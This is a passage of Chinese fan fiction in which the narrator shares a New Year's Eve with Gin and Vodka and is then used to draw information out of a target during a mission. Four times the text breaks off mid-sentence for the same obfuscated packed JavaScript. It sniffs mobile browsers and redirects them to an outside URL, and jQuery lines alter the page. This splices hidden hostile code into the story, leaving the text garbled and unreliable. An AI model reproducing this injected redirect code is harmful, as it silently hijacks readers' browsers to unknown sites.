滚了,这次是真的滚了,因为我真的闻到了琴酒的杀气了,那我可是立马就滚了,不仅滚了,还乖乖地把门关好,嗖嗖地跑回了我的房间。
我盘腿坐在地上,打开了罐子,从里面挑出了一颗粉色的小糖粒,扔进了嘴里。
嘿嘿,真甜。
42.
萩原研二没有牺牲这个剧情改变对于我之后的生活没有任何改变,如果说唯一有的话,就是我被琴酒教训了一顿。
呃,倒不是有人发现了我11月初一直到11月7号都把自己捂得严严实实地出现在警视厅附近蹲着,而是我想确定萩原研二是不是还活蹦乱跳的,好吧,我就是想看看他,好吧,我就是想和他还
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033755|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有松田阵平认识一下,就在警察们下班时间去旁边晃悠了一下。
不在上班时间是因为我起不来。
只可惜,我和帅哥警察纸片人可能还是不够有缘分,我依旧没有一次遇到他们。
而凑巧,警察们的下班时间,我不应该出现在警视厅附近,哦,尽管哪个时间我都不应该出现在警视厅附近,但是那个时间我更应该在酒吧里。
然后我就被琴酒抓包了两次上班时间不在岗。
好在琴酒没有发现我不在岗的时候是在警视厅附近晃悠,不然就不是简单骂我一顿了,可能我真的小命够呛。
很懂得知难而退的我不得不放弃了去警视厅附近创造偶遇,并且诱骗(?)萩原研二说我有很大可能是他的救命恩人他最好以身相许的想法,老老实实在酒吧里打工。
至少在琴酒还在东京的时候,我还是得装老实一点。
时间的马车在我的夹屁股做人中飞快驶过,一转眼和琴酒的同居生活就过了将近两个月,琴酒也终于适应了我的存在,也容忍了我每天睡觉前都要让他对我说句晚安不然就撒泼打滚,不是,撒娇折腾的习惯。
“所以我说,大哥真的是好人。”我跟满眼都是“英雄所见略同”的伏特加碰杯,“干杯,敬我们伟大的大哥!”
琴酒懒得理我和伏特加对他的吹捧,他坐得离我们两个远远的,估计灵魂也想离我们两个远远的。
这我能忍吗?我不能,我绝对不会让琴酒孤独的,尤其还是在大晦日这一天。
我眼睛一转,捧着碗夹起了一个饺子,就搬着椅子挪到了琴酒旁边,狗腿上身地把饺子放进琴酒的碗里,热情地安利:“大哥,快尝尝,这是我做的饺子哦。”
琴酒抬起眼皮看了我一眼,估计是新年的buff加持,他很给面子地吃了,还点评了一句“不错”。
尽管饺子是拉着伏特加一起在中餐馆买的,但是饺子确实是我亲手煮的,那琴酒夸的就是我。难得被琴酒夸了,我不由得飘飘然起来:“好吃吧?俗话说得好,饺子要吃烫烫的,男人要吃壮壮的。”
19.第十九章
43.
听到我的大放厥词,琴酒的长眉轻轻一挑,转头看向我,又不是真的看我。
或者说他看了我一眼,就被我身后发生的画面吸引了注意力。
我疑惑地顺着他的目光看过去,结果看到的只有伏特加。
不过是紧紧抱住自己的伏特加。
我茫然了:“伏特加,你怎么了?冷了?”
家里暖气开得很足啊,我都是直接穿的短袖短裤,伏特加比我穿的都厚,我还一贯是最怕冷的那个,不应该啊。
难道是伏特加最近身体素质欠佳?我已经准备好等伏特加一说“是”,就马上举报,让琴酒给伏特加增加训练量,反正受苦的不是我。
伏特加没有回答我,反而依旧抱着自己,还一脸警惕地说:“英子你不可以对我下手。”
从未想过伏特加还能这么给自己贴金,我嘴巴都震惊地张圆了:“你没事吧?你是最壮的吗?请勿对号入座。”
伏特加还是不肯放下他的手:“不是在说我吗?难道你还想对大哥下手?”
我一噎。
这话怎么说呢?
我。
我。
臣绝无此心,臣不敢,臣怕死。
“够了,把你的手放下。”琴酒“啪”的一声把筷子拍在桌子上,“她的话你也信?你的脑子呢?”
被骂了的伏特加讪讪地放下手,嗫嚅了下,没出声。
我得意地对着他撇撇嘴,仗着坐在琴酒身边,那叫一个狐假虎威,还把手放在脖子上比划了两下,就差用口型说点什么鄙视的话了。
当然我也确实想说,就是被琴酒打断了。
“就知道看他?你以为我在夸你吗?”教训完伏特加,琴酒就开始教训我了,“离我远点。”
我不开心地撅起了嘴,又不敢跟琴酒对着干,就只能灰溜溜地搬着椅子坐回去,跟伏特加隔着桌子用眼神吵架。
翻译过来就是“都怪你”“都怪你”的无限循环。
琴酒看着我们两个没出声,但是也没闲着,耳朵是不吵了,但是估计眼睛觉得更吵了。
只是,琴酒真的是个好领导,看在大过年的大家都不容易的份上,没有继续骂我们,而只是散发冷气。
察觉到不妙的气息,我和伏特加见好就收,没再继续给对方甩锅,而是老老实实埋头干饭。
吃饱喝足,伏特加去洗碗,我背着手视察了一下伏特加的洗碗工作之后,就从零食柜里精挑细选了一袋山楂条,陷进了懒人沙发里开始看红白歌会。
红白歌会某种意义上类似于种花家的春晚,也是阖家一起看的节目。只是比起春晚是相声小品歌曲舞蹈大杂烩的“大家一起包饺砸”,红白歌会是歌舞居多,艺人们会分成红组和白组对抗,就跟日本剑道的红白对抗一样,或者说红白歌会的名字就是来源于此。
这还是我第一次看红白歌会,可以说是充满了期待。哦,倒也不是期待第一次看的节目有多好看,主要是今年的红白歌会是我女儿第一次登上红白歌会的舞台。
多巧呢,我女儿的第一次登台红白,也是我第一次看红白。这说明什么?这说明我和我女儿就是天造地设的一对没有血缘关系但十足十亲生的母女啊!
婉拒了我并没有诚意的投喂——因为我起都没起来,就是纯问琴酒要不要吃,琴酒语气里带了几分费解:“你不是说吃不下了?还吃?”
如果是别人,可能问这句话只是单纯的不解。
但是换做是琴酒……要不是语气比起骂我的时候温柔(?)了不少,我还真的会觉得他在嘲讽我。
别笑,琴酒现在的状态真的很温柔了。
我站起来转个身,双膝跪到懒人沙发上,胳膊趴在沙发的靠背上,看着银发男人现在的样子。
他坐在沙发上,优雅地翘着二郎腿,又整个人有一种难得懒洋洋的姿态,半掀起眼皮看我,一向冰冷的薄唇都露出了些许弧度。
真的能把我迷得五迷三道的。
原本是想要跟琴酒犟嘴,告诉琴酒实际上我可以有两个胃,一个胃用来装饭,一个胃用来装零食,可是,琴酒现在这个样子,实在是太,太有感觉了,太有那种帅哥具有的氛围感了。
以至于一向不正经的我也没办法说出点不正经的话来打破这种感觉。
我就只能呆呆地看着他,一时间连眼睛都不能控制,看得都干涩了才想起来要眨眼。
琴酒今天心情看起来是真不错,他被我的样子蠢到了,都没骂我,而是轻轻地笑了。
该怎么形容呢?
琴酒又不是面瘫,不具备笑的能力。他笑的次数其实还蛮多的,就是冷笑比较多,当然我对他的笑印象最深的还是充满杀气的那种露出一口白牙的鲨鱼笑,总能把年纪还小的我搞得又害怕又觉得刺激,看了又看的那种。
所以说,他这种难得的,如同春风初绽的笑,太反差了。
也太好看了。
我就是又想过去驱邪,大喊一声“不管你是谁,给我从琴酒大哥身上下来”,又舍不得动,还又蠢蠢欲动想要拍照。
实在太美,再怎么OOC,也想永久保存。
没控制住,我喃喃出声:“大哥,你好帅。”
出声我就后悔了,我真的生怕琴酒一被我夸就又傲娇起来,收起笑,切换回之前的模式骂我是笨蛋。
光骂倒也没什么,我都习惯了,甚至一天不听到琴酒骂我我都有点浑身不舒服思密达。
我主要是舍不得。
稀奇了,琴酒没有骂我,也没有把笑收起来,而是饶有兴趣地挑起眉梢,唇角勾得更深:“哦?”
“我洗完了!现在到哪里了,女儿出来了吗?”伏特加兴冲冲地过来,对上我的死鱼眼就是一愣,“英子你怎么这么看着我?”
我面无表情地冷哼一声:“伏特加,你真的很烦我。”
44.
烦归烦,除了懊悔没再琴酒收起笑之前拍照之外也没办法,我还更知道,要是拍了,琴酒就不仅仅是收起笑了,可能还会没收我的手机并砸之。
唉,琴酒大哥的新年礼物,太珍贵了,珍贵的东西转瞬即逝,正常的。
说是埋怨伏特加,但是我还是很快就不计前嫌,跟伏特加一起期待起我们女儿的出场。
“还有几个啊?”
“应该是下下个。”
“那下个出来之后我就去准备关灯。”伏特加把应援棒分给我,拍拍胸脯保证。
我感动了:“伏特加,你真是好人!”
伏特加谦虚摸头:“好说好说。”
看着我们两个演戏的琴酒警告我:“……你敢把手上的东西掉在地上试试。”
我一秒老实,从旁边的纸抽里抽出纸擦手,并鬼鬼祟祟地趁琴酒不注意,又心虚地在地上擦了擦。
好险,差点被打。
盼望着盼望着,女儿的节目终于上了,我和伏特加一起在黑暗中挥舞着应援棒喊应援词。
比我更有眼色的伏特加怕不小心打扰到琴酒,还是直接蹲在我旁边,真的很努力了。
女儿她们团唱的歌是我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038389|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
女儿的新单,C位就是我女儿,看着宝贝闺女穿着漂亮的蓬蓬裙在电视上跳舞,搞得我都忍不住热泪盈眶。
别看琴酒不怎么看电视,但是作为我们黑衣组织的top killer,家里的电视机就算不怎么使用,也是超大屏幕的顶配,也算是便宜了我。
绝佳的视听盛宴,比起我之前缩在小阁楼里真的好太多了。
感动得我在女孩子们ending结束后,不等伏特加打开灯,就噔噔噔地跑到了琴酒身边。
我一屁股坐在琴酒旁边,抱起他的胳膊就开始熟练地蹭:“琴酒大哥,我要永远追随你!”
琴酒:“松开。”
我才不,今天是今年的最后一天,我已经确定了,琴酒不会揍我的。
45.
然后我就被琴酒敲脑袋了。
琴酒,一款致力于要给我被揍的完整一年体验的,霓虹好领导。
46.
贝尔摩德曾经问过我为什么那么痴迷于追我女儿,毕竟在知名好莱坞女星看来,我女儿比起她来着实是不够看,腿没她长,长得更没她好看,就是一个普通的女团成员。
对此,我只是解释我有亲妈滤镜。
因为我真的无法解释我喜欢我女儿的契机,是痛苦时候刷到的慰藉。
一个从小就在黑衣组织里长大的成员,怎么会因为终于能被黑衣组织安排工作而痛苦挣扎呢?我应该和其他人一样,跃跃欲试想要为黑衣组织做更多的贡献,而不是看到有叛徒被处决就差点吓哭,又被琴酒用眼神吓住。
哭也不敢哭,怕也不敢怕,说也不敢说。
我最开始真的觉得演戏演得我要精分了,也感觉照这样下去,我可能熬不到江户川柯南出现了。
然后我就在网上刷到了一场我女儿的舞台。
露天表演,下了很大的雨,观众们都穿着雨衣,但是台上的女团妹妹们只能顶着雨唱歌跳舞,冒着触电的风险。
她们都笑得好开心。
但是我第一眼看到的却是站在角落里,被雨淋成落汤鸡,却动作幅度一点不减,还笑眼弯弯的我女儿。
人的喜欢可能没什么道理,反正我一眼就相中她了,把视频看了一遍又一遍,关掉视频之后就开始搜索了解这个团,搜索了解我女儿。
人日子过得越苦,压力越大,估计就越会喜欢充满能量的人,喜欢听充满能量的歌。恰好,后面这两种,我女儿都具备。
她还有不少金句语录,听起来是离谱的好笑。
可以说是她给了我很多动力吧,总让我觉得难熬的日子熬一熬或许就能过去?
也确实是过去了,她已经成了团里的C位和人气top,我也完全适应了黑衣组织的生活,成了至少明面上毫无破绽的组织成员,至少不用担心会等不到江户川柯南出现。
因为我的热情安利,伏特加也喜欢上了我女儿,成了我的追星搭子。可以说我和伏特加的聊天记录里出现最多的两个名字,一个是“琴酒”,还有一个就是“女儿”。
只是伏特加并没有因为喜欢上女儿就对冲野洋子移情别恋,所以女儿的舞台结束,我有一搭没一搭地看,伏特加依旧全神贯注,就为了看时不时出来主持的冲野洋子。
对电视里的男团不感兴趣,我打了个哈欠,又从零食柜里摸出一袋咖啡糖,刚要打开,就听到琴酒的手机响了。
鸭肝,不妙啊。
47.
我在地上抱着琴酒的大腿不肯松手:“不要啊你们执行任务为什么要带我啊啊啊啊啊啊!”
20.第二十章
48.
我错了,我真的错了。
琴酒和伏特加突然被一个电话或者一个邮件叫过去执行任务实在是太正常不过了,就算是过年也很正常。我就不应该抱怨黑衣组织真的非常狠心都不让人过个好年,再惋惜我们三个的第一次一起过年就这么结束了,还假装舍不得琴酒和伏特加走。
然后琴酒就故意当真了,让我去换衣服,跟他们一起去做任务。
琴酒肯定是有惩罚我的部分,但是我还是觉得他疯了。居然还想让我跟他们一起去执行任务,他们是想送我上西天还是想让我搞砸他们的任务啊?
我懂了,琴酒也很不爽难得的休息就这么被组织的命令打断吧?
可是,再怎么不爽,也别对我下手啊!
我坚决不肯去换衣服。
琴酒直接去我房间打开衣柜拿出了羽绒服和围巾,抓住我就往我身上套。
好消息,被琴酒“伺候”着穿衣服了。
坏消息,这福气给你们要不要啊?
琴酒把围巾在我脖子上绕来绕去,最后还打了个结。我紧张兮兮地看着他,生怕他打的是死结让我直接交代在原地。
把人裹好了,琴酒满意地点点头:“走。”
他抓着我就要走,我直接一咕噜坐到地上,抱着他的大腿开始哀嚎:“不要啊你们执行任务为什么要带我啊啊啊啊啊啊!”
“不是你说舍不得我们的吗?”我猜伏特加很想要被琴酒穿衣服的福气,我感觉他看我的眼神里都带了酸意,“现在可以和我们一起走了。”
“我确实舍不得你们,但是这不代表我想去做任务啊!”我依旧抱着琴酒的腿不撒手,双臂紧紧环住,还感觉不够,直接把脸也贴了上去。
之前说过,家里的暖气打得很足,足够我穿短袖短裤,所以,现在,被套了厚厚的羽绒服和紧紧的围巾的我,再加上情绪激动动作剧烈,热出了一脑门子的汗。
我感觉脸都热起来了,想都没想,我就把头上的汗往琴酒腿上蹭。
黑色的风衣下摆,深色的水渍,很明显哦。
低头看到了我的动作和我的成果,琴酒头顶冒出一个一点也不优雅的井字号,咬着牙念我的全名:“开、门、英、子。”
我抽抽鼻子:“我知道错了。”
“起来。”
在继续抗拒但是肯定抗拒不过和见好就收之间,我只花了0.3秒,就从地上爬起来。本人双手盖在脑门上擦汗,还是不死心地卖惨:“大哥,我这一身的汗,出去很容易感冒哦。”
琴酒面无表情:“那就擦干。”
“哦哦。”我老实点头,腿就开始往房间的方向走。
琴酒握住我后脖颈的围巾:“跑?”
“不是啦,我去穿条长裤子,不然光着腿出门再老寒腿!”我小脾气也上来了,回头瞪了琴酒一眼,啪嗒啪嗒就往房间里跑。
真是的,一点也不懂得照顾人。
哦,琴酒啊,那没事了。
樱花妹本来就抗冻,他们日本人冬天都是光腿长大的,更不用说琴酒知道的黑衣组织的女性成员更是一个比一个生猛。也就是我啦,菜菜的,冬天都是围成个球。
49.
上车之前,琴酒往我嘴里塞了个棒棒糖,冷声警告我:“不许睡觉。”
我呆愣愣地舔了舔嘴里的小圆球,是我最近很喜欢的柠檬牛奶味,我在零食柜里囤了好多。琴酒这是出门前从零食柜里拿的?
我又舔了舔,酸酸甜甜的味道,冬天的冷风都没那么冷了呢。
我用手打散鼻子中呼出的白色雾气,坐进了车里。
吃饭的时候伏特加跟我一起喝的酒,琴酒没参与,我还以为他是怕昨日重现又被我灌醉了之后占便宜,现在看来是我往自己脸上贴金了。
他纯粹是做好了今天还会被叫去做任务的准备。
诶,那么问题来了,琴酒怎么知道今天还要出去杀人的呢?
是琴酒会算命,还是他早就知道——
知道我们黑衣组织很坏了,阖家团圆的日子非要让人家阖家不团圆,生离死别的。
哦,不对,也可能是去地下阖家团圆。
呃,那更坏了。
我把脑袋靠在车窗上,看着窗外飞速而过的风景。
霓虹的色彩映在我的瞳膜上,看着看着,我就含着棒棒糖陷入了沉睡。
不怪我不听话,实在是这身体就这样,一坐车,就忍不住睡觉。
醒过来的时候车已经停了,不过叫醒我的不是感应到车停了,而是……
感觉到牙齿之间的磕碰,我茫然地睁开眼睛,第一眼聚焦的就是琴酒深邃的眉眼。
第二眼是他修长的手,正捏着我嘴唇外面的棒棒糖杆。
叫醒的方式还挺独特,幸好没有太用力,不然我的牙就完蛋了!
我含着棒棒糖,露出一个讪讪的笑:“大哥,我醒啦!第一眼就看到大哥英俊潇洒的脸,还真是我的荣幸。大哥,你知道吗?我真的……”
琴酒打断我接下来的甜言蜜语,就两个字:“下车。”
我一呆:“诶?”
琴酒不厌其烦地又说了一遍:“下车。”
“大哥我真不是故意睡觉的!你别赶我走啊,外面那么冷,今天还这么特殊,肯定不好打车,你舍得我自己走回家吗?”我小嘴巴一张就开始叭叭,叽里咕噜说了一串,还紧张地攥住了车窗上的把手,誓死和车门共存亡。
琴酒无语地问我:“谁要赶你自己走回家了?”
“诶?”
琴酒把手伸过来,我条件反射地闭上眼,呼吸都差点停止,却听到指节敲击玻璃的声音在我耳边响起。
我疑惑地睁开眼睛,转头去看琴酒的手。
“看到那个人了吗啊?”
琴酒说的是不远处站在电线杆旁边抽烟的男人。
知道了我看到了,琴酒顿了顿,才继续说:“过去,套他的话。”
我的脖子如同没上润滑油的老旧机器一样咔哒咔哒地转回去,惊愕地用食指指了指自己:“我去套话?真的假的?”
琴酒一脸平静:“对。”
“套什么话?”
“你过去和他聊天就够了,至于聊什么。”琴酒俯身过来,薄唇距离我的下巴只有不到一厘米的距离,紧张得我又停止了呼吸。
他骨节分明的手指在我胆战心惊的注视下,把我的围巾解开。
因为围巾太紧和皮肤过分敏感,暴露在空气中的白皙脖颈上浮现出在昏暗的车内光线也能看到的红痕。
琴酒的目光落在红痕上,祖母绿的眼闪过很快的浮光,又归于平静。
他一层一层把围巾重新缠在我的脖子上,只是这次松泛了不少,至少我不需要再时不时揪一下令我感到不适的围巾,哪怕是在睡梦中的时候。
“去吧。”
我下了车,走向那个男人。
只是背对着琴酒的时候,我还是忍不住摸了一下颈侧的围巾。
层层叠叠的围巾下有一个摸上去才能感觉到的小小的突起,如同一粒纽扣。
尽管琴酒没说,尽管我没问,但是我还是本能地知道。
那是窃听器。
50.
“做得很好。”
回来的时候,琴酒已经坐回了驾驶座,从车内的后视镜里看我,帽檐下被刘海挡住的长眸难得流露出赞赏的光。
他在称赞我干得好。
可是我完全不知道我做了什么,我只是跟个莫名其妙的人一样过去跟那个男人攀谈,知道了他和家里人吵架,但是也不知道他们为什么在吵架。
听起来像是家里人做了什么他不能接受的事?
哦,我还知道了他家里有几口人,现在有几个人在家,还有跟他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049689|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吵架的人明天一大早就要出国。
想到这里,我一顿。
“他们,是做了什么对不起组织的事情吗?”一直以来都十分抗拒了解黑衣组织的任务,就算是琴酒把任务文件摆在我面前我也能让眼睛不对焦看不清楚一个字的我垂着头问,“他们都会死吗?”
“看在那家伙交代得不错的情况下,他会活着。”琴酒的手指敲打着方向盘,“不过前提是他不会有机会跟其他人透露任何事。”
我闭了闭眼:“所以,为什么会是我呢?”
“你做得很好。”琴酒又说了一遍,他这次转过身,让我抬起头,“你难道没发现?”
“对啊,英子。”见状,伏特加也跟着探出头,引导着我回忆,“你很适合探听消息和调查情报。你想想,在酒吧里,是不是经常会有人拉着你就开始说他的事情,不管喝没喝酒?”
“你也知道,你的直觉很准。”琴酒轻轻扬了扬唇,说出的话却让我汗毛紧竖,“这种能力,应该被组织所用。”
我不知道琴酒是怎么发现我的直觉很准的,我也不知道他和伏特加究竟观察了我多久,才会动了想要让我给他们调查情报的念头。
我只知道我不能去做。
我无法接受……
“当然我会给你足够的报酬。哦,还有,”明明我低下了头,琴酒却似乎能读懂我的表情和读懂我的心,他用着嘲讽的语气说,“就像今天,你去提前问到了我想要的消息,那个人才能活着。”
我脸色一变。
“在车上好好待着。”
琴酒和伏特加下了车。
再回来的时候,我敏锐地闻到了硝烟味。
也看到了我刚才所在的位置,一片冲天的火光。
“英子,你要知道。”回来的琴酒发动汽车,喊着我的名字,“组织不养闲人。你不能只有……一个用处。”
他的声音很低,以至于我没听清他说的是什么用处。
大概是给他提供开会场所跟放风服务的酒保用处?
51.
回到公寓楼下的时候,突然下起了雪。
昨天还听基安蒂说,东京很少在年末下雪,一般都要等到二月,没想到今年刚好在年末的最后一天下雪了。
我下意识伸出手,微小的雪花落在掌心,瞬间就融成了小水珠。
我抬起头,看着簌簌微雪中琴酒黑色的身影,忽然没忍住,叫了他一声:“琴酒!”
琴酒停下脚步,回身看我。
暖黄的路灯光芒下,琴酒的银发似乎都在发光。
我其实有点明白琴酒的意思,他是发现了我有一点能力,想要让我发挥能力,固然是为了黑衣组织,也是为了我。
正如他所说,黑衣组织不养闲人。一个单纯的废物酒保,要是黑衣组织也搞起降本增效,没准哪天就把我优化掉,让我去当替死的废材。
我眨了眨眼,眨掉落在睫毛上的雪花,扬起一个大大的笑,双手举在嘴巴两侧,跟喇叭一样:“大哥,如果每天快乐很难,那我祝你每天平安哦!”
琴酒真的是很好很好的领导,会帮下属考虑很多,不管他的下属有多废物,有多让他闹心。
所以说,虽然他十恶不赦无恶不作,可是,可是……
是个好爹(?)啊!
等他将来出狱了,我一定会给琴酒大哥养老的!
我听到琴酒嗤笑了一声,抬步就向我走来,紧接着,就举起了大掌,方向是我的头顶。
我的话很白痴,我知道,我已经做好了今年被琴酒打最后一次的心理建设。
但我万万没想到,琴酒的大掌确实落在了我的头顶。
却不是爆栗。
而是落在我柔软的发顶,轻轻地,揉了揉。
我看到了地上的影子,交叠在一起,看上去还有种古怪的和谐。
“蠢货。”
21.第二十一章
52.
初雪在世界各地的文化里似乎都意味着吉祥,日本也不例外。而且还有传说,初雪这天许的愿会特别灵。
我亦步亦趋地跟在琴酒身后,踩着他的影子,自顾自地说:“不过初雪除了适合许愿,还适合另一件事。”
伏特加竖起耳朵:“什么?”
我兴冲冲地抬起头,向伏特加发出邀请:“打雪仗啊!呐,伏特加,你愿意陪我打今年的最后一场雪仗吗?”
伏特加抬头看了看路灯下显示出飞舞轨迹的粉末一般细小的的轻盈柔软的粉雪,嘴角一抽:“你确定?这种雪,就算是下一晚上,也不够打雪仗的吧?”
好像也是,我吧嗒吧嗒嘴,一计不成,心头又浮上一计。
“我突然想起来了,还还适合一件事!”不等伏特加追问,我赶紧快跑两步跟上懒得搭理我们两个的琴酒,在走进公寓大楼之前自己回答自己,“还适合经典的炸鸡配啤酒啊!”
伏特加提醒我:“英子,你现在不撑了吗?”
“没关系,我可以看你们吃!家里有啤酒,我们出去买炸鸡吗?今天还会有炸鸡店开门吧?”
伏特加:“啊?”
53.
“开门英子,你敢把油蹭到沙发上你就死定了。”
54.
等我睡醒的时候,不对,是饿醒的时候,一出门就看到琴酒和伏特加坐在沙发上不知道在说什么。
他们两个似乎是刚从外面回来没多久,穿得板板正正的。我就不一样了,不光踩着拖鞋,睡衣睡得都是褶皱,头发也乱糟糟的,还打着哈欠。
这绝佳的对比,以至于我第一反应就是收回打到一半的哈欠,还有一点想要跑回房间对着镜子整理一下仪容仪表的冲动。
琴酒上下打量了一下我,半眯起长眸,用着我最熟悉的嫌弃语气说:“看看你现在这个样子。”
哦,不好意思,我天生是有点逆反的。人身上有206块骨头,我估计比其他黑衣组织的人多了一块,就是反骨。
诶,好像也不对,我们黑衣组织的人也不是很听话。那就是我具有和其他成员们一样的特点,有反骨。
哼,琴酒觉得我现在的样子丢人,我就偏不觉得丢人。
非但不觉得丢人,我还跟个小炮弹一样冲过去,跳上沙发的时候把拖鞋都直接踢飞掉。
我跳到琴酒和伏特加中间盘腿坐下,理直气壮地说:“怎么啦?我现在这个样子,难道不是一看就知道琴酒大哥把我养的很好吗?”
简直就是全方位诠释了什么叫做肆无忌惮。
换做是上辈子的我,可是万万想不到能有人敢顶着一头乱糟糟的头发盘腿坐在琴酒和伏特加中间,还没有素质地抖腿的。
我敢说最OOC的同人文也写不出来这种离奇情节。
反正我是想不出来,我也更不可能想出来那个人会是我的。
伏特加一定是又嫉妒我了,他附和着琴酒说:“就是,我和大哥都做任务回来了,你居然才起床。”
“那咋了?”我更加理直气壮,“今天又不用上班,我睡到自然醒怎么了?就算是上班,我自然醒都没问题。”
伏特加超绝嫉妒小人心:“你为什么不上班?”
我瞪圆了眼睛:“今天是元旦,新年第一天,我为什么要上班?我就应该休息。”
伏特加不依不饶:“凭什么?”
“就凭今天是新年第一天。俗话说,新年第一天做了什么,未来一年都要做什么。我这是提前给未来一年打好基础,要每天都自然醒,每天都休息。”
“还有这说法?”伏特加挠挠头,“那我们新年第一天就去做任务?”
我露出慈祥的笑:“没错,这说明你们未来一年每天都要做任务。”
伏特加有点难以接受,毕竟他也是人,他也想休息。只可惜,他旁边是我,我旁边是琴酒。顶着琴酒的注视,伏特加很难做到像我一样坦坦荡荡表示要摸鱼,他只能低声喃喃着;“那我这算什么?”
我拍拍他的肩膀,就当是虚伪的安慰了,沉声说:“算你热爱组织。”
说完,我还抬起头看了琴酒一样,试图寻找认同:“是吧,大哥,你也热爱组织。”
琴酒垂眸看着我,半晌,轻轻勾起唇,没有回应我的话,而是盯着我问:“难道你不热爱组织?”
我呼吸只是停顿了微不可察的一瞬,眼睛眨都没眨一下地飞快回答,跟潜意识里就是这么想的一样:“那当然热爱了,只是,比起……就差那么一点。”
“比起什么?”
我微微收起下颌,嘴巴抿起,上眼睑微抬,眼睛微眨,露出十分诚恳又湿漉漉的狗狗眼,认真地说:“比起我对琴酒大哥的热爱,还是差了那么一点。”
人活这一辈子,总得有些百试百灵的小妙招,狗狗眼对我来说就是我在黑衣组织里无往不胜的必杀技。自从有一次误打误撞在琴酒面前装出来之后,我就发现,无人能够躲得过我的狗狗眼。
据贝尔摩德说,看起来就是可怜又纯情,任是谁看了都没办法对我生气。
包括琴酒。
我还实验过,甚至也包括朗姆和boss。
我可没有什么绝招要省着点用,用久了就让他们具有免疫力的想法。在我看来,能力都是越用越熟练,太久不用,要是生疏了,效果反而减弱了怎么办。反正经过我这么长时间的摸索,他们不仅没有产生抗体,反而我能越来越熟练地靠着狗狗眼萌混过关。
看吧,琴酒还是吃这一套的。
或者说大多数人都是吃软不吃硬,琴酒尽管不怎么吃软更不吃硬,但是偶尔还是可以吃点软的。
琴酒若有所思的目光落在我的脸上,与我对视之后,脸上的笑意忽然更深。
我还沉浸在冰山又消融的美景中呢,琴酒就对我下手了。
看来琴酒不仅吃软的,还喜欢捏软的。
被捏住腮帮子的我不禁发出“呜呜啊啊”的求饶声:“大、锅……”
大锅冰冷的银色长发落在我的手指之间:“油嘴滑舌。”
被松开的我第一时间捂住受苦受罪受折磨的半边腮帮子,咕咕唧唧地说:“什么油嘴滑舌,我只是犯了罪而已。”
“哦?犯罪?不是犯错?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053820|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
总感觉琴酒的语气更加嘲讽了,是因为对黑衣组织来说,犯罪就如同呼吸一样简单吗?
我还捂着脸,也不耽误继续胆大妄为地抬起头,直视琴酒的眼睛,认真地开始吟唱:“犯了太爱你的罪~”
琴酒被我气笑了,他又想捏我脸,不过我这次长记性了,说完就一咕噜爬起来,想要躲到伏特加身后。
结果还是没跑过反应能力更快的top killer,琴酒握住我的肩膀,一把将我拽回去,由于惯性,我还直接撞进了琴酒怀里。
哦莫,这还真是……
便宜我了。
琴酒在我耳边冷声问:“还想跑?”
我的后背出于本能地蹭了蹭琴酒的健硕胸肌,呜呜呜背部的触感都绝佳,我敢问,谁能不馋琴酒的身子啊?
一时之间有点荡漾,我直接享受得眯起了眼睛:“不跑了,我可以一直保持这个姿势吗?”
基安蒂那家伙曾经吐槽过我这个人实在是花心又嘴贱,还偷偷跟琴酒说过,怀疑琴酒骂我的话能把我骂爽,揍我的话还可能被我抓住手乱蹭。
其实我怀疑伏特加转述的时候文雅了一点,基安蒂有可能由己及人,原话是什么打我一巴掌有可能被我舔手之类的。
这种说法真的太恶心了,一点也不符合本纯洁少女的人设。
基安蒂说的真实程度一半一半吧,琴酒确实经常把我给骂爽了,但是我对挨揍真的不感兴趣,没有真的喜欢受虐的义务,琴酒也没真的正儿八经揍过我,打巴掌就更不可能了。
琴酒其实还是一个文艺优雅的男人的,不会扇女孩子巴掌的,他要是真生气了,开枪打人倒是有可能,这是可以说的吗?
哦,说回重点,基安蒂这么说,估计也是因为我一直都自称我是舔狗,但是基安蒂真的很老土,她居然以为舔狗真的是狗会舔人吗?
才不是的,其实我们舔狗才是掌握主动权的那个,我们想舔谁就舔谁,而且也是有自尊地舔。
